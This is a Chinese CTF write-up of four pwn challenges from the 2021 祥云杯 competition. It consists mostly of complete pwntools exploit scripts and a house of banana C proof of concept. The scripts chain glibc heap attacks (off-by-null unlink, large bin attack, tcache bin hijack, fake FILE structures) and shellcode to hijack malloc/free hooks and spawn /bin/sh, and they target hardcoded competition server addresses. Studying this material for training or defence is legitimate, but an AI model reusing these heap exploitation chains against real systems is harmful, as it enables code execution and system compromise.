2021祥云杯_pwn

  1. 1. PassWordBox_FreeVersion
    1. 1.1. 题目分析
    2. 1.2. exp
  2. 2. JigSaw’sCage
    1. 2.1. 题目分析
    2. 2.2. exp
  3. 3. PassWordBox_ProVersion(赛后复现)
    1. 3.1. 题目分析
    2. 3.2. poc
    3. 3.3. exp
    4. 3.4. exp
  4. 4. note(赛后复现)
    1. 4.1. 题目分析
    2. 4.2. 解题思路
    3. 4.3. exp

PassWordBox_FreeVersion

PassWordBox_FreeVersion.zip

题目分析

2.27版本的offbynull,有一字长的加密,一开始没想到直接填充/X00就可以leak加密的密钥,无脑爆破,写了个小程序,把密钥爆出来了。贴个源码。

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
#include <stdlib.h>
#include <time.h>
unsigned int passwd[2];
int main(){
int i;
srand( (unsigned)time( NULL ) );
for ( i = 1; i >= 0; --i )
passwd[i] = rand() % 0xffffffff;
puts(passwd);

}//gcc a.c -o a

然后就是常规操作,unlink后,达到任意地址读写,改malloc hook为one gadget,申请堆块触发one gadget。可以参考我之前写的

2021_BUUCTF&DASCTF_pwn

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
#context.log_level = 'debug'
context.arch='amd64'
binary = './pwdFree'
main_arena = 0x3ebc40
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 0
if local == 1:
io=process(binary)

else:
io=remote('47.104.71.220',38562)
p = process('./a')
elf=ELF(binary)
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget = [0x4f3d5,0x4f432,0x10a41c]
num = u64(p.recvline()[:-1])
su('num',num)
def add(index,len_,content):
ru("Input Your Choice:")
sl('1')
ru("Input The ID You Want Save:")
sl(str(index))
ru("Length Of Your Pwd:")
sl(str(len_))
ru("Your Pwd:")
sl(content)

def edit(index,content):
ru("Input Your Choice:")
sl('2')
sl(str(index))
sl(content)

def show(index):
ru("Input Your Choice:")
sl('3')
ru("Which PwdBox You Want Check:")
sl(str(index))

def free(index):
ru("Input Your Choice:")
sl('4')
ru("Idx you want 2 Delete:")
sl(str(index))
add(1,0xf0,b'a'*0xf0)
add(2,0xf0,b'a'*0xf0)
add(3,0xf0,b'a'*0xf0)
for i in range(7):
add(i+4,0xf0,b'a'*0xf0)

for i in range(7):
free(9-i)

free(0)

for i in range(7):
add(i+4,0xf0,b'a'*0xf0)

free(2)
free(1)

add(2,0xf8,b'a'*0xf0+p64(0x200^num)+b'a')#2
add(3,0xf0,b'a'*0xf0)#3

for i in range(7):
free(i+3)
free(0)

free(2)
for i in range(7):
add(i+4,0xf0,b'a'*0xf0)
add(1,0xf0,b'a'*0xf0)
show(1)#2
ru('Pwd is: ')
libc_base = (u64(r(8))^num)-main_arena-96
su("libc_base",libc_base)
realloc = libc_base + libc.symbols['__libc_realloc']
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + one_gadget[2]

su('malloc_hook',malloc_hook)
add(3,0x100,b'a'*0x100)
free(9)
edit(1,p64(malloc_hook))
ru("Input Your Choice:")
sl('1')
add(11,0x100,b'a'*0x100)
add(12,0x100,p64(one_gadget^num))
ru("Input Your Choice:")
sl('1')

ru("Input The ID You Want Save:")
sl(str(13))
ru("Length Of Your Pwd:")
sl(str(1))
#gdb.attach(io)

io.interactive()

JigSaw’sCage

JigSaw’sCage.zip

题目分析

存在溢出,改v2的值,触发mprotect,使得heap区域可执行。

因为有text功能,可以执行堆块里的指令,然后就是写汇编布置参数调用execve(“/bin/sh”)来拿shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='amd64'
binary = './JigSAW'
main_arena = 0x1beb80
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local =1
if local == 1:
io=process(binary)
else:
io=remote('47.104.71.220',10273)
#elf=ELF(binary)
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ru('Name:')
sl('a')
ru('Make your Choice:')
sl('1229782937960972288')
'''
puts("Make Your Choice:");
puts("1.Add Space");
puts("2.Edit Space");
puts("3.Delete Space");
puts("4.Test Space");
puts("5.Show Space");
return puts("6.Exit");
'''
def add(index):
ru('6.Exit')
sl('1')
ru("Index? : ")
sl(str(index))

def edit(index,content):
ru('6.Exit')
sl('2')
ru("Index? : ")
sl(str(index))
ru("iNput:")
s(content)

def free(index):
ru('6.Exit')
sl('3')
ru("Index? : ")
sl(str(index))

def show(index):
ru('6.Exit')
sl('5')
ru("Index? : ")
sl(str(index))

def test(index):
ru('6.Exit')
sl('4')
ru("Index? : ")
sl(str(index))

add(0)
add(1)
add(2)
add(3)
edit(0,b'/bin/sh\0')
edit(1,asm('sub rdx,0x20;mov r13,rdx')+asm('leave;ret'))
edit(2,asm('xor edx, edx;mov rax,0x3b;mov rdi,r13;')+asm('syscall'))#xor esi, esi
gdb.attach(io)

test(1)
test(2)
io.interactive()

PassWordBox_ProVersion(赛后复现)

PassWordBox_ProVersion.zip

题目分析

存在uaf,但是size范围限制在了large bin大小,2.31版本常规large bin attack方法是被修复的,但是还是存在可以利用的漏洞

house of banana - 安全客,安全资讯平台

官方给的思路应该是house of banana,向_rtld_global 里伪造结构体,手法和house of banana一样,主要是一些参数的布置不太了解,当时没复现出,赛后硬调出来了。附上poc,可以调一下。

大佬博客:https://0xc4se.com/2021/07/19/glibc2.31house-of-banana/#toc-heading-5

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <stdio.h>
#include <stdlib.h>

void backdoor() {
puts("you hacked me!!");
system("/bin/sh");
}

int main() {
puts("house of banana's poc");
size_t libc_base = 0x7ffff7dc1000;
size_t _rtld_global_ptr_addr = 0x7ffff7ffd060;
char *ptr0 = malloc(0x450);
char *gap = malloc(0x10);
char *ptr1 = malloc(0x440);
gap = malloc(0x10);
char *ptr2 = malloc(0x410);
gap = malloc(0x10);

free(ptr0);
//put ptr9 into large bin
malloc(0x500);
free(ptr1); //free ptr1 into unsorted bin
free(ptr2); //free ptr2 into unsorted bin
//bk_nextsize = _rtld_global_ptr_addr
*(size_t *)(ptr0 + 0x18) = _rtld_global_ptr_addr - 0x20;
malloc(0x410); //large bin attack to hijack _rtld_global_ptr

//fake a _rtld_global
size_t fake_rtld_global_addr = ptr1 - 0x10;
size_t *fake_rtld_global = (size_t *)ptr1;
char buf[0x100];
//the chain's length must >= 4
//
fake_rtld_global[1] = &fake_rtld_global[2];
fake_rtld_global[3] = fake_rtld_global_addr;

fake_rtld_global[2+3] = &fake_rtld_global[3];
fake_rtld_global[2+5] = &fake_rtld_global[2];

fake_rtld_global[3+3] = &fake_rtld_global[8];
fake_rtld_global[3+5] = &fake_rtld_global[3];

fake_rtld_global[8+3] = 0;
fake_rtld_global[8+5] = &fake_rtld_global[8];


//fake a fini_array segment
fake_rtld_global[0x20] = &fake_rtld_global[0x30];
fake_rtld_global[0x22] = &fake_rtld_global[0x23];
fake_rtld_global[0x23+1] = 0x8; //func ptrs total len


fake_rtld_global[0x30] = 0x1A;
fake_rtld_global[0x31] = 0;
fake_rtld_global[-2] = &fake_rtld_global[0x32];

//funcs
fake_rtld_global[0x32] = backdoor;
fake_rtld_global[0x61] = 0x800000000;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='amd64'
binary = './pwdPro'
main_arena = 0x1beb80
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 1
if local == 1:
io=process(binary)

else:
io=remote('47.104.71.220',38562)
#p = process('./a')
elf=ELF(binary)
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(index,len_,content):
ru("Input Your Choice:")
sl('1')
ru("Which PwdBox You Want Add:")
sl(str(index))
ru("Input The ID You Want Save:")
sl('1')
ru("Length Of Your Pwd:")
sl(str(len_))
ru("Your Pwd:")
sl(content)

def edit(index,content):
ru("Input Your Choice:")
sl('2')
ru("Which PwdBox You Want Edit:")
sl(str(index))
sl(content)

def show(index):
ru("Input Your Choice:")
sl('3')
ru("Which PwdBox You Want Check:")
sl(str(index))

def free(index):
ru("Input Your Choice:")
sl('4')
ru("Idx you want 2 Delete:")
sl(str(index))

def recover(index):
ru("Input Your Choice:")
sl('5')
ru("Idx you want 2 Recover:")
sl(str(index))
add(1,0x520,b'a'*8)#1
ru("Save ID:")
r(16)
num = u64(r(8))
su("num",num)
add(2,0x428,b'a'*8)
add(3,0x500,b'a'*8)
add(4,0x420,b'a'*8)

free(1)
recover(1)
show(1)

ru("Pwd is: ")
libc_base = (u64(r(8))^num)-main_arena-96
su('libc_base',libc_base)
#global_max_fast = libc_base +0x1c1ec8 #libc.sym['global_max_fast']
rtl_global = libc_base +0x210060 #libc.sym['rtld_global']
set_context = libc_base + libc.sym['setcontext'] + 61
ret = libc_base + 0x0000000000025359#next(libc.search(asm('ret')))#libc.sym['setcontext'] + 300
pop_rdi = libc_base + next(libc.search(asm('pop rdx\nret')))
binsh_addr = libc_base + next(libc.search(b'/bin/sh\0'))
system_addr = libc_base + libc.sym['system']
add(5,0x600,b'a'*8)
add(6,0x600,b'a'*8)
show(1)
ru("Pwd is: ")
r(16)
chunk = (u64(r(8))^num)
su('chunk',chunk)
#edit(1,p64(libc_base+main_arena+96)*2)
free(3)

#free(5)

gdb.attach(io)
edit(1,p64(0) + p64(0) + p64(0) + p64(rtl_global - 0x20))

add(7,0x600,'large bin attack!!')

payload = p64(0) + p64(libc_base + 0x211730) + p64(0) + p64(chunk + 0x960)
payload += p64(set_context) + p64(ret)
'''
payload += p64(binsh_addr)
payload += p64(0)
payload += p64(system_addr)
payload += b'\x00'*0x80
'''

payload += b'\x00'*0x60
payload += p64(binsh_addr)
payload += p64(0)
#payload += p64(system_addr)
payload += b'\x00'*0x28

payload += p64(chunk + 0x960 + 0x28 + 0x18)

payload += p64(system_addr)
payload = payload.ljust(0x100,b'\x00')
payload += p64(chunk + 0x960 + 0x10 + 0x110)*0x3
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,b'\x00')
payload += p8(0x8) + b'\x00'*4
recover(3)
edit(3,payload)
edit(2,b'b'*0x420 + p64(chunk + 0x960 + 0x20))


ru("Input Your Choice:")
sl('6')


io.interactive()

网上还有一种方法,是修改mp_.tcache_bin,使得大于0x408大小的堆块也能在tcache中,这种方法使得我们的攻击更为简单。

从祥云杯PassWordBox_ProVersion看GLIBC2.31 LargeBin Attack_黑客技术

只需要将这里改大就可以使得大于0x408大小的堆块也能在tcache中(利用large bin attack)。主要是这一个,可以看一下tcache部分的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
if (!checked_request2size (bytes, &tbytes))
{
__set_errno (ENOMEM);
return NULL;
}
size_t tc_idx = csize2tidx (tbytes);

MAYBE_INIT_TCACHE ();

DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->counts[tc_idx] > 0)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif

后续就是attack tcache bin,就挺简单了,改free hook 为system

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='amd64'
binary = './pwdPro'
main_arena = 0x1beb80
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 1
if local == 1:
io=process(binary)

else:
io=remote('47.104.71.220',38562)
#p = process('./a')
elf=ELF(binary)
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ld = ELF('/usr/lib/x86_64-linux-gnu/ld-2.31.so')

def add(index,len_,content):
ru("Input Your Choice:")
sl('1')
ru("Which PwdBox You Want Add:")
sl(str(index))
ru("Input The ID You Want Save:")
sl('1')
ru("Length Of Your Pwd:")
sl(str(len_))
ru("Your Pwd:")
sl(content)

def edit(index,content):
ru("Input Your Choice:")
sl('2')
ru("Which PwdBox You Want Edit:")
sl(str(index))
sl(content)

def show(index):
ru("Input Your Choice:")
sl('3')
ru("Which PwdBox You Want Check:")
sl(str(index))

def free(index):
ru("Input Your Choice:")
sl('4')
ru("Idx you want 2 Delete:")
sl(str(index))

def recover(index):
ru("Input Your Choice:")
sl('5')
ru("Idx you want 2 Recover:")
sl(str(index))
add(1,0x520,b'a'*8)#1
ru("Save ID:")
r(16)
num = u64(r(8))
su("num",num)
add(2,0x428,b'a'*8)
add(3,0x500,b'a'*8)
add(4,0x420,b'a'*8)

free(1)
recover(1)
show(1)

ru("Pwd is: ")
libc_base = (u64(r(8))^num)-main_arena-96
su('libc_base',libc_base)

tcache_bins = libc_base + 1827536#libc.sym['mp_']+88
system_addr = libc_base + libc.sym['system']
fh = libc.sym['__free_hook']+libc_base
add(5,0x600,b'a'*8)
add(6,0x600,b'a'*8)
show(1)
ru("Pwd is: ")
r(16)
chunk = (u64(r(8))^num)
su('chunk',chunk)
#edit(1,p64(libc_base+main_arena+96)*2)
free(3)


edit(1,p64(0) + p64(0) + p64(0) + p64(tcache_bins - 0x20))
add(7,0x600,'large bin attack!!')
free(7)
free(5)
gdb.attach(io)
recover(5)
edit(5,p64(fh))

add(0,0x600,b'a')
edit(0,'/bin/sh\0')
add(1,0x600,p64(system_addr^num))



#add(1,0x420,b'a'*8)

free(0)


io.interactive()


note(赛后复现)

note.zip

题目分析

image-20210901151741898

存在scanf格式化漏洞,有申请堆块的功能,同时会leak堆块地址信息,还有show的功能,没有free

image-20210901152016554

解题思路

  • 通过格式化字符输入修改top chunk的大小(注意地址需要页对其),申请比top chunk大小还大的chunk来将top chunk放入到unsorted bin里来leak地址

  • 然后伪造file结构体(包括vtable结构),将_IO_2_1_stderr__chain改成我们伪造的file结构体,在程序结束的时候会调用_IO_flush_all_lockp函数,这个函数最初的目的是为了保留数据不丢失,如果缓冲区还残留数据,就会调用_IO_OVERFLOW来刷新缓冲区,这样的话,我们伪造的file结构体中缓冲区的长度fp->_IO_write_ptr-fp->_IO_write_base就必须大于0,还有一个检测就是mode要小于等于0

    image-20210901172053128

image-20210901172231589

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='amd64'
binary = './note'
context.terminal = ['terminator','-x','sh','-c']
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 1
if local == 1:
io=process(binary)
else:
io=remote('47.105.44.59',16381)
elf=ELF(binary)
ones = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = elf.libc

def add(size,content='a'):
ru('choice: ')
sl('1')
ru("size: ")
sl(str(size))
ru("content: ")
sl(content)
def show():
ru('choice: ')
sl('3')

def say(con1,con2):
ru('choice: ')
sl('2')
ru("say ? ")
sl(con1)
ru("? ")
sl(con2)
for i in range(15):
add(0xf0)
add(0x20)

ru('addr: 0x')
chunk = int(r(12).decode(),16) + 0x20
su('top chunk',chunk)

say(b'%7$d'.ljust(8,b'\x00')+p64(chunk+8),str(0xd1))

add(0xe0)

add(0x20,b'a'*0x7)
show()
libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - 3951480 - 0xa0
su('libc_base',libc_base)
system = libc.sym['system']+libc_base
add(0xe0,p64(system)*10)
ru('addr: 0x')
chunk1 = int(r(12).decode(),16)
su('chunk',chunk1)
fuke = b'/bin/sh\0'+p64(0)*4+p64(1)
fuke = fuke.ljust(216,b'\x00')+p64(chunk1)
add(0xf0,fuke)
ru('addr: 0x')
chunk2 = int(r(12).decode(),16)
su('chunk',chunk2)
#say()
say(b'%7$s'.ljust(8,b'\x00')+p64(libc.sym['_IO_2_1_stderr_']+libc_base+104),p64(chunk2))
#add(0x70)
sl('5')
gdb.attach(io,'b main')
io.interactive()
'''
from pwn import*


#io = remote("node4.buuoj.cn",29216)
io = process('./note')
#io = process(['./note'],env={"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF('./note')
#libc = elf.libc
context(log_level='debug',os='linux',arch='amd64')


def choice(c):
io.recvuntil("choice: ")
io.sendline(str(c))

def add(size,content):
choice(1)
io.recvuntil("size:")
io.sendline(str(size))
io.recvuntil("content:")
io.sendline(content)

def show():
choice(3)

def say(addr,content):
choice(2)
io.recvuntil("say ?")
io.send(addr)
io.recvuntil("?")
io.sendline(content)


add(0x40,b'a')
io.recvuntil("addr:")
heap = int(io.recv(16),16)
top_chunk = heap + 0x40
success('heap_addr ==> '+hex(heap))
success('top_chunk_addr ==>'+hex(top_chunk))
gdb.attach(io)
#say(b'%7$daaaa'+p64(top_chunk + 8),str(0xfc1))
say(b'%7$s\x00',str(p64(0xfbad1800) + p64(0)*3))
io.interactive()

'''

还有一种方式leak地址通过改输出stdout的_IO_write_base使得缓冲区存在数据。

image-20210901175008535

最终执行_IO_do_write来调用系统调用write输出输出缓冲区

image-20210901174859142

img

IO FILE之fwrite详解:https://ray-cp.github.io/archivers/IO_FILE_fwrite_analysis